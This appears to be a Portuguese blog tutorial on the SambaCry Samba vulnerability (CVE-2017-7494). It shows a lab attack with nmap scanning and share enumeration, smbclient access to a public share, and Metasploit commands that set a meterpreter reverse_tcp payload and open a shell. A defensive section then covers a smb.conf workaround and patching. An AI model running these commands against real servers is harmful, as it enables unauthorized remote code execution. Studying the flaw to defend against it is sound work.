Exploit Linux Sambacry
Exploit Linux Sambacry
Neste artigo vamos abordar o serviço de samba do Linux que afeta as versþes 4.6.4, 4.5.10, 4.4.14 e outras versþes mais antigas que vêm mencionadas no CVE-2017-7494 e pode ser encontrado no endereço http://cve.mitre.org/cgi-bin/cvenam...
.
Este artigo estĂĄ dividido da seguinte forma:
- Introdução Serviço Samba
- Ferramentas de Ataque
- Scanning do alvo
- Enumeration do alvo
- Exploitation do alvo
- Pacotes de correção
- Soluçþes de Defesa
- ConclusĂŁo
- ReferĂŞncias
Resumidamente o serviço Samba permite que sistemas operacionais não-Windows, isto Ê, Sistemas Operacionais Linux compartilhem pastas, arquivos e impressoras compartilhadas de rede com o sistema operacional Windows.
Samba ĂŠ um software Open-source que estende o protocolo SMB para o Linux. Isso ĂŠxecutado na maioria do sistema operacional ativos do Linux atualmente em uso, pois as redes de computadores cada vez mais sĂŁo heterogĂŞneos e necessitam de serviços que permitam a comunicação entre windows e Linux, sendo a partilha de arquivos um dos principais âgoolsâ das empresas para o aumento da produtividade de trabalho das mesmas.
Falhas relacionadas com o protocolo SMB jĂĄ vĂŞm a ser retratadas por pesquisadores desde 2010, entĂŁo nĂŁo ĂŠ propriamente uma novidade, segundo a base de dados do site exploit-db.com vocĂŞ encontra exploits desde esse ano, entĂŁo estamos a falar de 7 anos atĂŠ o apadrinhado âsambacryâ nome atribuĂdo nĂŁo oficialmente pela comunidade geek que segue os recentes acontecimentos do malware âwannacryâ que afetou os sistemas da Microsoft tambĂŠm pela exploração do protocolo SMB porta TCP 445.
Todas as versĂľes do Samba a partir da versĂŁo 3.5.0 sĂŁo vulnerĂĄveis âĂ execução de cĂłdigo remotamente, permitindo que um cliente malicioso faça o upload de uma biblioteca compartilhada para um compartilhamento gravĂĄvel e, em seguida, de ordem para o servidor o executar.
Um breve e rĂĄpida pesquisa no site shodan.io revela-nos que ainda existe 474,044 sistemas Unix que expĂľem esta porta na Internet, ou seja, no seu interface externo por algum motivo que eu desconheço totalmente, pois ĂŠ extremamente inseguro, contudo este nĂşmero aumenta drasticamente quando se faz a mesma âvarreduraâ mas dentro da rede interna da empresa, que pode ser facilmente explorado por algum funcionĂĄrio descontente com a empresa, ou algum usuĂĄrio malicioso que conseguiu acesso fĂsico para se conectar na empresa e lançar o exploit.

De seguida vamos reproduzir o que seria um ataque real, explorando esta vulnerabilidade com o auxilio do metasploit, um um laboratĂłrio em ambiente controlado, especialmente preparado para esta apresentação, com um kali linux como atacante e um debian 7.0 como vĂtima.
Ataque
Para atacar os sistemas descriminados utilizamos o Kali Linux com o auxĂlio do metasploit, em um ambiente controlado de laboratĂłrio para a execução deste exemplo prĂĄtica, a reprodução deste laboratĂłrio fica por conta de cada um, sendo de sua inteira responsabilidade as açþes que praticar.
Não Ê intenção deste artigo explicar o passo-a-passo da configuração do metasploit nem do servidor samba, no entanto vårios documentos de boa qualidade existem na internet explicando com detalhe as configuraçþes båsicas de setup inicial.
- Scanning
Para o scanning do nosso alvo utilizamos o conhecido nmap para comprovar que este tinha a porta open no protocolo TCP 445, conhecer a versĂŁo do Samba que estava a rodar no servidor, assim como dados de segurança, conta de autenticação utilizada, nĂvel de privilĂŠgio, etc...
Utilizamos o comando:
root@kali:/# nmap -n -sC -sV -sC -p445 192.168.2.110
2. Enumeration
Para enumeração do serviço SMB, utilizamos tambÊm o nmap, rodando um script que jå vem instalado por padrão no Nmap 7.40 e conseguimos recolher vårias informaçþes valiosas que nos permitem ter a certeza dos caminhos absolutos na hora de os configurar no Exploit, este passo Ê muito importante pois conseguimos ter uma visão geral da estrutura de arquivos que estå configurada no arquivo do samba (smb.conf).
Utilizamos o comando:
root@kali:~# nmap --script=smb-enum-shares -p445 192.168.2.110

3. Exploitation
Agora em posse dos dados das duas etapas anteriores, passamos para a exploração do serviço samba.
Com o seguinte comando carregamos o exploit a ser utilizado:
msf > use /exploit/linux/samba/sambacry.rb
Com o seguinte comando observamos as partilhas disponĂveis no servidor:
root@kali:~# smbclient -L \\192.168.2.110
Com o seguinte comando entramos em uma das partilhas no servidor:
root@kali:~# smbclient //192.168.2.110/public
Repare que em ambos os casos, nĂŁo ĂŠ necessĂĄrio colocar password, pois a pasta foi configurada como pĂşblica no servidor alvo, uma prĂĄtica comum para partilhar arquivos entre redes des computadores heterogĂŞneas Windows e Linux, mas extremamente insegura.

De seguida observamos as opçþes que temos com o comando:
msf exploit (sambacry)> show options

Repare que nĂŁo existe nenhum payload definido, entĂŁo caso vocĂŞ nĂŁo configure, o default vai ser utilizado, caso queira definir um especifico digite o seguinte comando:
msf exploit(sambacry) > show payloads

De seguida precisamos configurar pelo menos um parâmetros essencial para o exploit funciona, como o comando:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110

Em 99% dos casos não Ê necessårio configurar mais nada, porÊm existem muitos outros parâmetros que devem ser observador caso o exploit não seja injetado com sucesso, que passam pelos seguinte comandos:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110
msf exploit(sambacry) > set target 2
target => 2
msf exploit(sambacry) > set SMB_SHARE_BASE /public
SMB_SHARE_BASE => /public
msf exploit(sambacry) > set SMB_SHARE_NAME public
SMB_SHARE_NAME => public
NĂŁo esquecendo do payload, caso nĂŁo queira utilizar o genĂŠrico como jĂĄ foi mencionado, com o comando:
msf exploit(sambacry) > set linux/x64/meterpreter/reverse_tcp

Após todas estas configuraçþes e antes de se prosseguir com o exploit podemos observar que não existe nenhum cliente conectado no servidor alvo com o comando:
#smbstatus (Este comando foi digitado no alvo, para fiz didĂĄticos, um invasor nĂŁo conseguiria ter acesso ao shell da mĂĄquina desta forma).

Agora vamos executar o exploit com o comando:
msf exploit(sambacry) > exploit

Neste momento, podemos observar que conseguimos o shell com sucesso e podemos observar algumas caracterĂsticas do alvo com os comandos:

Podemos tambĂŠm observar que somos o usuĂĄrio nobody, exatamente isso, ânĂŁo somos ninguĂŠmâ e pertencemos ao grupo nogroup, âsem grupoâ, podemos comprovar isso digitando de novo o comando smbstatus no servidor alvo.

Com isto terminamos o nosso ataque com sucesso, lembrando que dependendo do serviço samba, versão do Linux e configuraçþes das pastas pode ser necessårio alterar outros parâmetros mais avançados, apenas estamos a cobrir o båsico, para fins didåticos.
Futuramente abordaremos mais profundamente caracterĂsticas avançados deste exploit, em baixo deixamos uma breve imagem para se ter a noção das hipĂłteses que temos nesta poderosa ferramente de nome Metasploit.

Defesa
Antes de iniciarmos esta parte da discussĂŁo ĂŠ necessĂĄrio verificar o estado do samba com o seguinte comando:
# aptitude show samba

Neste momento Ê preciso observar a versão do samba que estå instalado no servidor Linux, no caso apresentado a versão instalada Ê a 2:4.2.14+dfsg-0+deb8us que Ê uma versão vulneråvel segundo a CVE-2017-7494, outra versão vulneråvel tambÊm testada foi a 2:3.6.6+deb7u7 , vale dizer neste ponto que estamos a falar de uma distribuição debian 8 e debian 7, repectivamente, que estavam supostamente atualizados atÊ ao momento da falha.

De um ponto de vista operacional, caso vocĂŞ nĂŁo tenha feito o update do serviço samba no Linux, ou nĂŁo possa por algum motivo o fazer de imediato, aqui estĂĄ um âworkaroundâ para que fique protegido atĂŠ resolver a situação.
Para isso deve procurar pelo ficheiro de configuração do samba, que normalmente se encontra em /etc/samba/smb.conf
Mas caso nĂŁo o encontre, pode digitar um dos seguintes comandos:
find / -name smb.conf (Procura pelo ficheiro de configuração do samba)
whereis samba (Procura pela pasta do samba, que contÊm o ficheiro de configuração)

Após o encontrar deve entrar com permissþes de root e adicionar a seguinte linha dentro da seção [ global ]:
nt pipe support = no
Uma boa ideia tambÊm Ê adicionar a opção noexec nas partilhas para prevenir que binårios (*.exe) sejam executados com sucesso, noexec Ê o contrårio da opção exec que permite a execução de binårios nas pastas montadas do sistema.
Logo de seguida deve *reiniciar o SMB daemon (smbd) com os seguintes comandos:
Stop
sudo service smbd stop
Start
sudo service smbd start
*Restart
sudo service smbd restart
(Comandos stop e start, apenas para referência, pode apenas reiniciar o serviço, ou seguir a sequência para ter a certeza absoluta).
A outra abordagem ĂŠ realizar o update no Linux da seguinte forma:
Verificar se no sources.list as versþes eståveis para a distribuição Debian estão corretas com as apresentadas em baixo:
(/etc/apt/sources.list)
De seguida deve realizar o update dos pacotes disponĂveis no momento, com o comando:
aptitude update
Por Ăşltimo, deve confirmar que acabou de instalar uma versĂŁo que jĂĄ tem o patch para a vulnerabilidade (CVE-2017-7494
), com o comando:
aptitude show samba
Este procedimento serve para o Debian que foi o sistema operativo abordado no artigo, para o Ubuntu, CentOS, RHEL 7 e outras distribuiçþes susceptĂveis a esta vulnerabilidade deve pesquisar sobre os comandos a adotar, pois sempre variam de uma para outra distribuição.
ConclusĂŁo
Neste artigo foi possĂvel abordar formas de ataque e defesa em relação Ă falha conhecida pelo nome de âsambacryâ, observamos tambĂŠm alguns comandos dentro da ferramenta Metasploit e referenciamos todo o artigo com links que possem ser consultados na seção referĂŞncias e disponibilizamos os links de correção de patch oficiais.
Pacotes de correção
Samba 4.5.10
Samba 4.6.4
Samba 4.4.14
VersĂľes antigas e estĂĄveis
ReferĂŞncias
- Gerar link
- X
- Outros aplicativos
Marcadores:
Exploit Linux Sambacry
ComentĂĄrios
Postar um comentĂĄrio